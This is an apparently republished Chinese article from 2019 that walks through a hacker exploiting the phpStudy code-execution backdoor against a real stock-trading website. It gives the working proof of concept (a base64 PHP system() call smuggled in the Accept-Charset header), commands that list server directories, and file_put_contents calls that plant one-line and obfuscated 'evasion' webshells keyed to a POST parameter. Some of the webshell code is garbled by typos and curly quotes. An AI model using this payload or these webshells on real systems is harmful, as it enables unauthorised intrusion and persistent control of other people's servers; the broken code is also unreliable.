好可怕！phpstudy漏洞被“黑客”在某股票网站上复现

2019-10-13 21:41 |来自: 互联网 1613 0

摘要: 近期通过相关欣慰报道phpstudy发现了安全漏洞，于是被黑客就利用了，国外一名黑客利用这个phpstudy中的代码执行的后门漏洞，对某股票网站进行了渗透。渗透过程如下：利用某线上工具用搜索关键词去批量在搜索出来的网站中随便找了一个某票网站网站是这个样子的随后利用burpAccept-Encoding:gzip,deflate ...

关键词： PHPTutorial phpstudy 网站 contents 27 于是目录安全漏洞当前一下

近期通过相关欣慰报道phpstudy发现了安全漏洞，于是被黑客就利用了，国外一名黑客利用这个phpstudy中的代码执行的后门漏洞，对某股票网站进行了渗透。

渗透过程如下：

利用某线上工具用搜索关键词去批量

在搜索出来的网站中随便找了一个某票网站

网站是这个样子的

随后利用burp

Accept-Encoding:gzip,deflate

Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==

分别在请求包中添加利用的poc

Accep-Charset后面的是base64编码

成功的执行了命令，于是想着拿webshell

通过file_put_contents()写入了一句话进去

$a = '';file_put_contents('8.php',$a);echo 'ok';

写入之后访问，它拦截了我的请求，然后我访问了正常的文件index.php并没有拦截

查看了一下当前的目录，原来没写入到网站的目录下

于是执行了system("cd PHPTutorial&dir");(由于burp回显太慢于是就换了一位师傅写的工具)

查看了PHPTutorial目录下的www，应该是没写入到网站当前的目录

重新构造了语句再次写入

$a = '';file_put_contents('D:/phpStudy/PHPTutorial/www/8.php',$a);echo 'ok';

system("cd PHPTutorial/www&dir");查看一下www下的所有文件

重新尝试写入，发现还是没有写入进去，应该有防护，我把一句话木马换成了免杀的，文件名改成了index1.php

$a = ‘ create_function(Null,fun2())));@extract(array(c=>$b()));’function fun2(){$b=$_POST;retum @($b[’pass’]);}?>’;file_put_contents(‘D:/phpStudy/PHPTutorial/WWW/index1,php’,$a);